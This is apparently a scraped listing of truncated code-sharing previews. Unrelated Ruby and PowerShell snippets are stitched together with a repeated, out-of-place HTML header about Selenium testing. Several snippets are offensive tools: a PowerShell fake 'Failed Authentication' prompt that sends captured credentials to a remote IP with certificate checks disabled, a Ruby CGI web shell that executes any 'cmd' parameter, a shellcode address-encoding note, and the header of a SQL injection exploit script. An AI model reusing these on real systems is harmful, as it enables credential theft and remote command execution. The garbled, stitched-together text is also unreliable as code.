#Getting Started
##Webpage:
<html>
<head>
<title>Testing with Ruby and Selenium WebDriver</title>
</head>
<body bgcolor="antiquewhite">
require "net/http" | |
# Login | |
uri = URI.parse("http://xx.xx.xx/Login.aspx") | |
http = Net::HTTP.new(uri.host, uri.port) | |
http.set_debug_output($stdout) | |
request_login = Net::HTTP::Post.new(uri.request_uri) | |
request_login["Accept-Language"] = "en-US,en;q=0.5" |
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); | |
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; | |
$wc = new-object net.webclient; | |
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; | |
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; | |
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); | |
$result = $wc.downloadstring('https://172.16.102.163'); |
#!/usr/bin/env ruby | |
# echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc localhost 80 | |
require 'cgi' | |
cgi = CGI.new | |
puts cgi.header | |
system(cgi['cmd']) |
# Find All sum of 3-values that if we subtract from 0x1035E8EA wil give us 0x1035FFB4 | |
# 0x1035E8EA | |
# 0x55554d66 - | |
# 0x55554b66 - | |
# 0x5555506a - | |
# ------------ | |
# 0x1035FFB4 | |
CHARS = | |
[ |
#!/usr/bin/env ruby | |
# | |
# KING SABRI | |
# Hisoka SQLi - For Ibrahim | |
# | |
require 'open-uri' | |
require 'uri' | |
if ARGV.size < 2 | |
puts "[+] ruby #{__FILE__} <IP_ADDRESS> <PAYLOAD>" |
#Getting Started
##Webpage:
<html>
<head>
<title>Testing with Ruby and Selenium WebDriver</title>
</head>
<body bgcolor="antiquewhite">
require 'socket' | |
require 'logger' | |
# OK Client | |
def logger | |
# Creat Log file with rotation |
#!/usr/bin/ruby | |
# OK Server | |
# | |
require 'rubygems' | |
require 'socket' | |
server = TCPServer.open(2000) | |
loop { | |
client = server.accept | |
client.puts "OK" |
#!/bin/ruby | |
require 'colorize' | |
require 'socket' | |
mark_Red = "[+]".red | |
mark_Green = "[+]".green | |
mark_yellow = "[+]".yellow | |
################################## |
#!/usr/bin/ruby | |
################################################################### | |
#### " _ _ _ _ ___ _ _ _ " #### | |
#### " | \| (_)_ _ (_)__ _ | __(_)_ _ _____ __ ____ _| | | " #### | |
#### " | .` | | ' \ | / _` | | _|| | '_/ -_) V V / _` | | | " #### | |
#### " |_|\_|_|_||_|/ \__,_| |_| |_|_| \___|\_/\_/\__,_|_|_| " #### | |
#### " |__/ " #### | |
################################################################### | |
#### Coded by: Sabry Saleh #### | |
#### Last update: #### |